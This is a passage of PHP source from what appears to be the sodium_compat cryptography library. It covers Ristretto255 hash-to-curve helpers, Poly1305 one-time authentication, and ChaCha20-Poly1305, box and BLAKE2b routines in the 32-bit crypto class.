        $ctx_len = !is_null($ctx) ? self::strlen($ctx) : 0;
        if ($hLen > 0xff) {
            throw new SodiumException('Hash must be less than 256 bytes');
        }

        if ($ctx_len > 0xff) {
            $st = hash_init('sha256');
            self::hash_update($st, "H2C-OVERSIZE-DST-");
            self::hash_update($st, $ctx);
            $ctx = hash_final($st, true);
            $ctx_len = 32;
        }
        $t = array(0, $hLen, 0);
        $ux = str_repeat("\0", 64);
        $st = hash_init('sha256');
        self::hash_update($st, $ux);
        self::hash_update($st, $msg);
        self::hash_update($st, self::intArrayToString($t));
        self::hash_update($st, $ctx);
        self::hash_update($st, self::intToChr($ctx_len));
        $u0 = hash_final($st, true);

        for ($i = 0; $i < $hLen; $i += 64) {
            $ux = self::xorStrings($ux, $u0);
            ++$t[2];
            $st = hash_init('sha256');
            self::hash_update($st, $ux);
            self::hash_update($st, self::intToChr($t[2]));
            self::hash_update($st, $ctx);
            self::hash_update($st, self::intToChr($ctx_len));
            $ux = hash_final($st, true);
            $amount = min($hLen - $i, 64);
            for ($j = 0; $j < $amount; ++$j) {
                $h[$i + $j] = self::chrToInt($ux[$i]);
            }
        }
        return self::intArrayToString(array_slice($h, 0, $hLen));
    }

    /**
     * @param int $hLen
     * @param ?string $ctx
     * @param string $msg
     * @return string
     * @throws SodiumException
     * @psalm-suppress PossiblyInvalidArgument hash API
     */
    protected static function h2c_string_to_hash_sha512($hLen, $ctx, $msg)
    {
        $h = array_fill(0, $hLen, 0);
        $ctx_len = !is_null($ctx) ? self::strlen($ctx) : 0;
        if ($hLen > 0xff) {
            throw new SodiumException('Hash must be less than 256 bytes');
        }

        if ($ctx_len > 0xff) {
            $st = hash_init('sha256');
            self::hash_update($st, "H2C-OVERSIZE-DST-");
            self::hash_update($st, $ctx);
            $ctx = hash_final($st, true);
            $ctx_len = 32;
        }
        $t = array(0, $hLen, 0);
        $ux = str_repeat("\0", 128);
        $st = hash_init('sha512');
        self::hash_update($st, $ux);
        self::hash_update($st, $msg);
        self::hash_update($st, self::intArrayToString($t));
        self::hash_update($st, $ctx);
        self::hash_update($st, self::intToChr($ctx_len));
        $u0 = hash_final($st, true);

        for ($i = 0; $i < $hLen; $i += 128) {
            $ux = self::xorStrings($ux, $u0);
            ++$t[2];
            $st = hash_init('sha512');
            self::hash_update($st, $ux);
            self::hash_update($st, self::intToChr($t[2]));
            self::hash_update($st, $ctx);
            self::hash_update($st, self::intToChr($ctx_len));
            $ux = hash_final($st, true);
            $amount = min($hLen - $i, 128);
            for ($j = 0; $j < $amount; ++$j) {
                $h[$i + $j] = self::chrToInt($ux[$i]);
            }
        }
        return self::intArrayToString(array_slice($h, 0, $hLen));
    }

    /**
     * @param int $hLen
     * @param ?string $ctx
     * @param string $msg
     * @param int $hash_alg
     * @return string
     * @throws SodiumException
     */
    public static function h2c_string_to_hash($hLen, $ctx, $msg, $hash_alg)
    {
        switch ($hash_alg) {
            case self::CORE_H2C_SHA256:
                return self::h2c_string_to_hash_sha256($hLen, $ctx, $msg);
            case self::CORE_H2C_SHA512:
                return self::h2c_string_to_hash_sha512($hLen, $ctx, $msg);
            default:
                throw new SodiumException('Invalid H2C hash algorithm');
        }
    }

    /**
     * @param ?string $ctx
     * @param string $msg
     * @param int $hash_alg
     * @return string
     * @throws SodiumException
     */
    protected static function _string_to_element($ctx, $msg, $hash_alg)
    {
        return self::ristretto255_from_hash(
            self::h2c_string_to_hash(self::crypto_core_ristretto255_HASHBYTES, $ctx, $msg, $hash_alg)
        );
    }

    /**
     * @return string
     * @throws SodiumException
     * @throws Exception
     */
    public static function ristretto255_random()
    {
        return self::ristretto255_from_hash(
            ParagonIE_Sodium_Compat::randombytes_buf(self::crypto_core_ristretto255_HASHBYTES)
        );
    }

    /**
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_random()
    {
        return self::scalar_random();
    }

    /**
     * @param string $s
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_complement($s)
    {
        return self::scalar_complement($s);
    }


    /**
     * @param string $s
     * @return string
     */
    public static function ristretto255_scalar_invert($s)
    {
        return self::sc25519_invert($s);
    }

    /**
     * @param string $s
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_negate($s)
    {
        return self::scalar_negate($s);
    }

    /**
     * @param string $x
     * @param string $y
     * @return string
     */
    public static function ristretto255_scalar_add($x, $y)
    {
        return self::scalar_add($x, $y);
    }

    /**
     * @param string $x
     * @param string $y
     * @return string
     */
    public static function ristretto255_scalar_sub($x, $y)
    {
        return self::scalar_sub($x, $y);
    }

    /**
     * @param string $x
     * @param string $y
     * @return string
     */
    public static function ristretto255_scalar_mul($x, $y)
    {
        return self::sc25519_mul($x, $y);
    }

    /**
     * @param string $ctx
     * @param string $msg
     * @param int $hash_alg
     * @return string
     * @throws SodiumException
     */
    public static function ristretto255_scalar_from_string($ctx, $msg, $hash_alg)
    {
        $h = array_fill(0, 64, 0);
        $h_be = self::stringToIntArray(
            self::h2c_string_to_hash(
                self::HASH_SC_L, $ctx, $msg, $hash_alg
            )
        );

        for ($i = 0; $i < self::HASH_SC_L; ++$i) {
            $h[$i] = $h_be[self::HASH_SC_L - 1 - $i];
        }
        return self::ristretto255_scalar_reduce(self::intArrayToString($h));
    }

    /**
     * @param string $s
     * @return string
     */
    public static function ristretto255_scalar_reduce($s)
    {
        return self::sc_reduce($s);
    }

    /**
     * @param string $n
     * @param string $p
     * @return string
     * @throws SodiumException
     */
    public static function scalarmult_ristretto255($n, $p)
    {
        if (self::strlen($n) !== 32) {
            throw new SodiumException('Scalar must be 32 bytes, ' . self::strlen($p) . ' given.');
        }
        if (self::strlen($p) !== 32) {
            throw new SodiumException('Point must be 32 bytes, ' . self::strlen($p) . ' given.');
        }
        $result = self::ristretto255_frombytes($p);
        if ($result['res'] !== 0) {
            throw new SodiumException('Could not multiply points');
        }
        $P = $result['h'];

        $t = self::stringToIntArray($n);
        $t[31] &= 0x7f;
        $Q = self::ge_scalarmult(self::intArrayToString($t), $P);
        $q = self::ristretto255_p3_tobytes($Q);
        if (ParagonIE_Sodium_Compat::is_zero($q)) {
            throw new SodiumException('An unknown error has occurred');
        }
        return $q;
    }

    /**
     * @param string $n
     * @return string
     * @throws SodiumException
     */
    public static function scalarmult_ristretto255_base($n)
    {
        $t = self::stringToIntArray($n);
        $t[31] &= 0x7f;
        $Q = self::ge_scalarmult_base(self::intArrayToString($t));
        $q = self::ristretto255_p3_tobytes($Q);
        if (ParagonIE_Sodium_Compat::is_zero($q)) {
            throw new SodiumException('An unknown error has occurred');
        }
        return $q;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_Poly1305', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Poly1305
 */
abstract class ParagonIE_Sodium_Core_Poly1305 extends ParagonIE_Sodium_Core_Util
{
    const BLOCK_SIZE = 16;

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $m
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function onetimeauth($m, $key)
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Key must be 32 bytes long.'
            );
        }
        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            self::substr($key, 0, 32)
        );
        return $state
            ->update($m)
            ->finish();
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $mac
     * @param string $m
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function onetimeauth_verify($mac, $m, $key)
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Key must be 32 bytes long.'
            );
        }
        $state = new ParagonIE_Sodium_Core_Poly1305_State(
            self::substr($key, 0, 32)
        );
        $calc = $state
            ->update($m)
            ->finish();
        return self::verify_16($calc, $mac);
    }
}
<?php

if (!class_exists('SodiumException', false)) {
    /**
     * Class SodiumException
     */
    class SodiumException extends Exception
    {

    }
}
<?php

if (class_exists('ParagonIE_Sodium_Crypto32', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Crypto
 *
 * ATTENTION!
 *
 * If you are using this library, you should be using
 * ParagonIE_Sodium_Compat in your code, not this class.
 */
abstract class ParagonIE_Sodium_Crypto32
{
    const aead_chacha20poly1305_KEYBYTES = 32;
    const aead_chacha20poly1305_NSECBYTES = 0;
    const aead_chacha20poly1305_NPUBBYTES = 8;
    const aead_chacha20poly1305_ABYTES = 16;

    const aead_chacha20poly1305_IETF_KEYBYTES = 32;
    const aead_chacha20poly1305_IETF_NSECBYTES = 0;
    const aead_chacha20poly1305_IETF_NPUBBYTES = 12;
    const aead_chacha20poly1305_IETF_ABYTES = 16;

    const aead_xchacha20poly1305_IETF_KEYBYTES = 32;
    const aead_xchacha20poly1305_IETF_NSECBYTES = 0;
    const aead_xchacha20poly1305_IETF_NPUBBYTES = 24;
    const aead_xchacha20poly1305_IETF_ABYTES = 16;

    const box_curve25519xsalsa20poly1305_SEEDBYTES = 32;
    const box_curve25519xsalsa20poly1305_PUBLICKEYBYTES = 32;
    const box_curve25519xsalsa20poly1305_SECRETKEYBYTES = 32;
    const box_curve25519xsalsa20poly1305_BEFORENMBYTES = 32;
    const box_curve25519xsalsa20poly1305_NONCEBYTES = 24;
    const box_curve25519xsalsa20poly1305_MACBYTES = 16;
    const box_curve25519xsalsa20poly1305_BOXZEROBYTES = 16;
    const box_curve25519xsalsa20poly1305_ZEROBYTES = 32;

    const onetimeauth_poly1305_BYTES = 16;
    const onetimeauth_poly1305_KEYBYTES = 32;

    const secretbox_xsalsa20poly1305_KEYBYTES = 32;
    const secretbox_xsalsa20poly1305_NONCEBYTES = 24;
    const secretbox_xsalsa20poly1305_MACBYTES = 16;
    const secretbox_xsalsa20poly1305_BOXZEROBYTES = 16;
    const secretbox_xsalsa20poly1305_ZEROBYTES = 32;

    const secretbox_xchacha20poly1305_KEYBYTES = 32;
    const secretbox_xchacha20poly1305_NONCEBYTES = 24;
    const secretbox_xchacha20poly1305_MACBYTES = 16;
    const secretbox_xchacha20poly1305_BOXZEROBYTES = 16;
    const secretbox_xchacha20poly1305_ZEROBYTES = 32;

    const stream_salsa20_KEYBYTES = 32;

    /**
     * AEAD Decryption with ChaCha20-Poly1305
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of message (ciphertext + MAC) */
        $len = ParagonIE_Sodium_Core32_Util::strlen($message);

        /** @var int  $clen - Length of ciphertext */
        $clen = $len - self::aead_chacha20poly1305_ABYTES;

        /** @var int $adlen - Length of associated data */
        $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad);

        /** @var string $mac - Message authentication code */
        $mac = ParagonIE_Sodium_Core32_Util::substr(
            $message,
            $clen,
            self::aead_chacha20poly1305_ABYTES
        );

        /** @var string $ciphertext - The encrypted message (sans MAC) */
        $ciphertext = ParagonIE_Sodium_Core32_Util::substr($message, 0, $clen);

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core32_ChaCha20::stream(
            32,
            $nonce,
            $key
        );

        /* Recalculate the Poly1305 authentication tag (MAC): */
        $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }
        $state->update($ad);
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen));
        $state->update($ciphertext);
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($clen));
        $computed_mac = $state->finish();

        /* Compare the given MAC with the recalculated MAC: */
        if (!ParagonIE_Sodium_Core32_Util::verify_16($computed_mac, $mac)) {
            throw new SodiumException('Invalid MAC');
        }

        // Here, we know that the MAC is valid, so we decrypt and return the plaintext
        return ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
            $ciphertext,
            $nonce,
            $key,
            ParagonIE_Sodium_Core32_Util::store64_le(1)
        );
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of the plaintext message */
        $len = ParagonIE_Sodium_Core32_Util::strlen($message);

        /** @var int $adlen - Length of the associated data */
        $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad);

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core32_ChaCha20::stream(
            32,
            $nonce,
            $key
        );
        $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }

        /** @var string $ciphertext - Raw encrypted data */
        $ciphertext = ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
            $message,
            $nonce,
            $key,
            ParagonIE_Sodium_Core32_Util::store64_le(1)
        );

        $state->update($ad);
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen));
        $state->update($ciphertext);
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($len));
        return $ciphertext . $state->finish();
    }

    /**
     * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_ietf_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $adlen - Length of associated data */
        $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad);

        /** @var int $len - Length of message (ciphertext + MAC) */
        $len = ParagonIE_Sodium_Core32_Util::strlen($message);

        /** @var int  $clen - Length of ciphertext */
        $clen = $len - self::aead_chacha20poly1305_IETF_ABYTES;

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core32_ChaCha20::ietfStream(
            32,
            $nonce,
            $key
        );

        /** @var string $mac - Message authentication code */
        $mac = ParagonIE_Sodium_Core32_Util::substr(
            $message,
            $len - self::aead_chacha20poly1305_IETF_ABYTES,
            self::aead_chacha20poly1305_IETF_ABYTES
        );

        /** @var string $ciphertext - The encrypted message (sans MAC) */
        $ciphertext = ParagonIE_Sodium_Core32_Util::substr(
            $message,
            0,
            $len - self::aead_chacha20poly1305_IETF_ABYTES
        );

        /* Recalculate the Poly1305 authentication tag (MAC): */
        $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }
        $state->update($ad);
        $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf)));
        $state->update($ciphertext);
        $state->update(str_repeat("\x00", (0x10 - $clen) & 0xf));
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen));
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($clen));
        $computed_mac = $state->finish();

        /* Compare the given MAC with the recalculated MAC: */
        if (!ParagonIE_Sodium_Core32_Util::verify_16($computed_mac, $mac)) {
            throw new SodiumException('Invalid MAC');
        }

        // Here, we know that the MAC is valid, so we decrypt and return the plaintext
        return ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            $ciphertext,
            $nonce,
            $key,
            ParagonIE_Sodium_Core32_Util::store64_le(1)
        );
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_ietf_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of the plaintext message */
        $len = ParagonIE_Sodium_Core32_Util::strlen($message);

        /** @var int $adlen - Length of the associated data */
        $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad);

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core32_ChaCha20::ietfStream(
            32,
            $nonce,
            $key
        );
        $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }

        /** @var string $ciphertext - Raw encrypted data */
        $ciphertext = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            $message,
            $nonce,
            $key,
            ParagonIE_Sodium_Core32_Util::store64_le(1)
        );

        $state->update($ad);
        $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf)));
        $state->update($ciphertext);
        $state->update(str_repeat("\x00", ((0x10 - $len) & 0xf)));
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen));
        $state->update(ParagonIE_Sodium_Core32_Util::store64_le($len));
        return $ciphertext . $state->finish();
    }

    /**
     * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_xchacha20poly1305_ietf_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = "\x00\x00\x00\x00" .
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        return self::aead_chacha20poly1305_ietf_decrypt($message, $ad, $nonceLast, $subkey);
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_xchacha20poly1305_ietf_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = "\x00\x00\x00\x00" .
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        return self::aead_chacha20poly1305_ietf_encrypt($message, $ad, $nonceLast, $subkey);
    }

    /**
     * HMAC-SHA-512-256 (a.k.a. the leftmost 256 bits of HMAC-SHA-512)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $key
     * @return string
     * @throws TypeError
     */
    public static function auth($message, $key)
    {
        return ParagonIE_Sodium_Core32_Util::substr(
            hash_hmac('sha512', $message, $key, true),
            0,
            32
        );
    }

    /**
     * HMAC-SHA-512-256 validation. Constant-time via hash_equals().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $mac
     * @param string $message
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function auth_verify($mac, $message, $key)
    {
        return ParagonIE_Sodium_Core32_Util::hashEquals(
            $mac,
            self::auth($message, $key)
        );
    }

    /**
     * X25519 key exchange followed by XSalsa20Poly1305 symmetric encryption
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box($plaintext, $nonce, $keypair)
    {
        return self::secretbox(
            $plaintext,
            $nonce,
            self::box_beforenm(
                self::box_secretkey($keypair),
                self::box_publickey($keypair)
            )
        );
    }

    /**
     * X25519-XSalsa20-Poly1305 with one ephemeral X25519 keypair.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $publicKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal($message, $publicKey)
    {
        /** @var string $ephemeralKeypair */
        $ephemeralKeypair = self::box_keypair();

        /** @var string $ephemeralSK */
        $ephemeralSK = self::box_secretkey($ephemeralKeypair);

        /** @var string $ephemeralPK */
        $ephemeralPK = self::box_publickey($ephemeralKeypair);

        /** @var string $nonce */
        $nonce = self::generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );

        /** @var string $keypair - The combined keypair used in crypto_box() */
        $keypair = self::box_keypair_from_secretkey_and_publickey($ephemeralSK, $publicKey);

        /** @var string $ciphertext Ciphertext + MAC from crypto_box */
        $ciphertext = self::box($message, $nonce, $keypair);
        try {
            ParagonIE_Sodium_Compat::memzero($ephemeralKeypair);
            ParagonIE_Sodium_Compat::memzero($ephemeralSK);
            ParagonIE_Sodium_Compat::memzero($nonce);
        } catch (SodiumException $ex) {
            $ephemeralKeypair = null;
            $ephemeralSK = null;
            $nonce = null;
        }
        return $ephemeralPK . $ciphertext;
    }

    /**
     * Opens a message encrypted via box_seal().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal_open($message, $keypair)
    {
        /** @var string $ephemeralPK */
        $ephemeralPK = ParagonIE_Sodium_Core32_Util::substr($message, 0, 32);

        /** @var string $ciphertext (ciphertext + MAC) */
        $ciphertext = ParagonIE_Sodium_Core32_Util::substr($message, 32);

        /** @var string $secretKey */
        $secretKey = self::box_secretkey($keypair);

        /** @var string $publicKey */
        $publicKey = self::box_publickey($keypair);

        /** @var string $nonce */
        $nonce = self::generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );

        /** @var string $keypair */
        $keypair = self::box_keypair_from_secretkey_and_publickey($secretKey, $ephemeralPK);

        /** @var string $m */
        $m = self::box_open($ciphertext, $nonce, $keypair);
        try {
            ParagonIE_Sodium_Compat::memzero($secretKey);
            ParagonIE_Sodium_Compat::memzero($ephemeralPK);
            ParagonIE_Sodium_Compat::memzero($nonce);
        } catch (SodiumException $ex) {
            $secretKey = null;
            $ephemeralPK = null;
            $nonce = null;
        }
        return $m;
    }

    /**
     * Used by crypto_box() to get the crypto_secretbox() key.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sk
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_beforenm($sk, $pk)
    {
        return ParagonIE_Sodium_Core32_HSalsa20::hsalsa20(
            str_repeat("\x00", 16),
            self::scalarmult($sk, $pk)
        );
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @return string
     * @throws Exception
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_keypair()
    {
        $sKey = random_bytes(32);
        $pKey = self::scalarmult_base($sKey);
        return $sKey . $pKey;
    }

    /**
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seed_keypair($seed)
    {
        $sKey = ParagonIE_Sodium_Core32_Util::substr(
            hash('sha512', $seed, true),
            0,
            32
        );
        $pKey = self::scalarmult_base($sKey);
        return $sKey . $pKey;
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @param string $pKey
     * @return string
     * @throws TypeError
     */
    public static function box_keypair_from_secretkey_and_publickey($sKey, $pKey)
    {
        return ParagonIE_Sodium_Core32_Util::substr($sKey, 0, 32) .
            ParagonIE_Sodium_Core32_Util::substr($pKey, 0, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $keypair
     * @return string
     * @throws RangeException
     * @throws TypeError
     */
    public static function box_secretkey($keypair)
    {
        if (ParagonIE_Sodium_Core32_Util::strlen($keypair) !== 64) {
            throw new RangeException(
                'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.'
            );
        }
        return ParagonIE_Sodium_Core32_Util::substr($keypair, 0, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $keypair
     * @return string
     * @throws RangeException
     * @throws TypeError
     */
    public static function box_publickey($keypair)
    {
        if (ParagonIE_Sodium_Core32_Util::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new RangeException(
                'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.'
            );
        }
        return ParagonIE_Sodium_Core32_Util::substr($keypair, 32, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_publickey_from_secretkey($sKey)
    {
        if (ParagonIE_Sodium_Core32_Util::strlen($sKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new RangeException(
                'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES bytes long.'
            );
        }
        return self::scalarmult_base($sKey);
    }

    /**
     * Decrypt a message encrypted with box().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_open($ciphertext, $nonce, $keypair)
    {
        return self::secretbox_open(
            $ciphertext,
            $nonce,
            self::box_beforenm(
                self::box_secretkey($keypair),
                self::box_publickey($keypair)
            )
        );
    }

    /**
     * Calculate a BLAKE2b hash.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string|null $key
     * @param int $outlen
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash($message, $key = '', $outlen = 32)
    {
        // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            /** @var SplFixedArray $k */
            $k = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() > ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }

        /** @var SplFixedArray $in */
        $in = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($message);

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outlen);
        ParagonIE_Sodium_Core32_BLAKE2b::update($ctx, $in, $in->count());

        /** @var SplFixedArray $out */
        $out = new SplFixedArray($outlen);
        $out = ParagonIE_Sodium_Core32_BLAKE2b::finish($ctx, $out);

        /** @var array<int, int> */
        $outArray = $out->toArray();
        return ParagonIE_Sodium_Core32_Util::intArrayToString($outArray);
    }

    /**
     * Finalize a BLAKE2b hashing context, returning the hash.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ctx
     * @param int $outlen
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_final($ctx, $outlen = 32)
    {
        if (!is_string($ctx)) {
            throw new TypeError('Context must be a string');
        }
        $out = new SplFixedArray($outlen);

        /** @var SplFixedArray $context */
        $context = ParagonIE_Sodium_Core32_BLAKE2b::stringToContext($ctx);

        /** @var SplFixedArray $out */
        $out = ParagonIE_Sodium_Core32_BLAKE2b::finish($context, $out);

        /** @var array<int, int> */
        $outArray = $out->toArray();
        return ParagonIE_Sodium_Core32_Util::intArrayToString($outArray);
    }

    /**
     * Initialize a hashing context for BLAKE2b.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $key
     * @param int $outputLength
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_init($key = '', $outputLength = 32)
    {
        // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            $k = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() > ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outputLength);

        return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($ctx);
    }

    /**
     * Initialize a hashing context for BLAKE2b.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $key
     * @param int $outputLength
     * @param string $salt
     * @param string $personal
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_init_salt_personal(
        $key = '',
        $outputLength = 32,
        $salt = '',
        $personal = ''
    ) {
        // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            $k = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() > ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }
        if (!empty($salt)) {
